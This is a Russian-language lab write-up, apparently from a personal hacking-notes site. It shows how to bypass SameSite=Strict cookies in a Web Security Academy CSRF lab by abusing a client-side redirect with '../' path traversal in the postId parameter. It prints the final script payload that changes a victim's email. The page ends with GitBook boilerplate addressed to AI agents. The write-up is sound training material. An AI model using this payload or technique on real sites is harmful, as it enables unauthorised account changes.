> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-strict-bypass-via-client-side-redirect.md).

# Обход SameSite Strict через перенаправление на стороне клиента

### Обход SameSite Strict через перенаправление на стороне клиента

Форма изменения e-mail в лабораторной работе уязвима к CSRF. Цель — изменить адрес e-mail жертвы, разместив эксплойт на предоставленном сервере эксплойтов.

**Проверить доступ**/ Учётная запись, используемая в лабораторной работе: `wiener:peter`

### Основные наблюдения

1. Функция изменения e-mail работает через GET-запрос такого типа:

```
/my-account/change-email?email=test@test.com&submit=1
```

<figure><img src="/files/7344ec351408e3bde1a9173d95ba75696c703044" alt=""><figcaption></figcaption></figure>

При отправке JavaScript-перенаправления вроде этого:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/my-account/change-email?email=hack@test.com&submit=1";
</script>
```

* страница запрашивает аутентификацию, если пользователь не вошёл в систему — запрос не отправляет cookie сеанса, когда он приходит с другого сайта.

<figure><img src="/files/03ae8de1993b3cf13c98fa96cbb0ed00efd323ff" alt="" width="563"><figcaption></figcaption></figure>

У `Set-Cookie` заголовок содержит `SameSite=Strict`, что предотвращает отправку cookie сеанса при переходе, инициированном из другого контекста (cross-site), обычно блокируя классические атаки с перенаправлением.

<figure><img src="/files/f542d8533418a96193fc4af8e27b15ba8f19c92d" alt=""><figcaption></figcaption></figure>

### Эксплуатируемая область (комментарии → Подтверждение → Перенаправление)

1. Есть область комментариев, которая затем перенаправляет на:

<figure><img src="/files/37b200e66bcb489b94e79af26070114da114afd6" alt="" width="563"><figcaption></figcaption></figure>

```
post/comment/confirmation?postId=8
```

<figure><img src="/files/c4d56b2395e3b5d468ebfa80a677013c44fe11b0" alt=""><figcaption></figcaption></figure>

Скрипт на странице подтверждения извлекает `postId` параметр и через 3 секунды перенаправляет на соответствующий пост:

```javascript
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}
```

<figure><img src="/files/fbaeaea51823d6199b9c94d2bb2d44ef407c8a47" alt="" width="353"><figcaption></figcaption></figure>

<figure><img src="/files/b45bb5a456ad0a350950894d8998bcd2d8e70541" alt=""><figcaption></figcaption></figure>

```javascript
window.location = blogPath + '/' + postId;
```

```
window.location = blogPath + '/' + ../my-account;
```

Наблюдая это поведение, мы отмечаем, что `postId` не является строго обязательным: если изменить его значение (например, `test`), перенаправление ведёт на `.../test` без видимой проверки.

#### Обход SameSite Strict через манипулированный путь

Идея: заменить перенаправление на `blogPath + '/' + postId` на `postId` содержащий относительные `..` сегменты, чтобы перейти к пути на целевом сайте (переход в родительский каталог), например:

`/post/comment/confirmation?postId=../my-account`

* тогда перенаправление ведёт в более высокий каталог, не блокируя cookie сеанса.

<figure><img src="/files/282cfc863240bdbe41a0850e8d540f88b4fa537d" alt="" width="563"><figcaption></figcaption></figure>

Сформировав более конкретный `postId`, мы напрямую нацеливаемся на функцию изменения e-mail:

```
/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1
```

Простое перенаправление на страницу изменения e-mail:

```javascript
<script>
location="https://0a75004904ecc7828082cb3b00cc0068.web-security-academy.net/post/comment/confirmation?postId=../../my-account/change-email?email=hack@jordann.com%26submit=1";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-strict-bypass-via-client-side-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
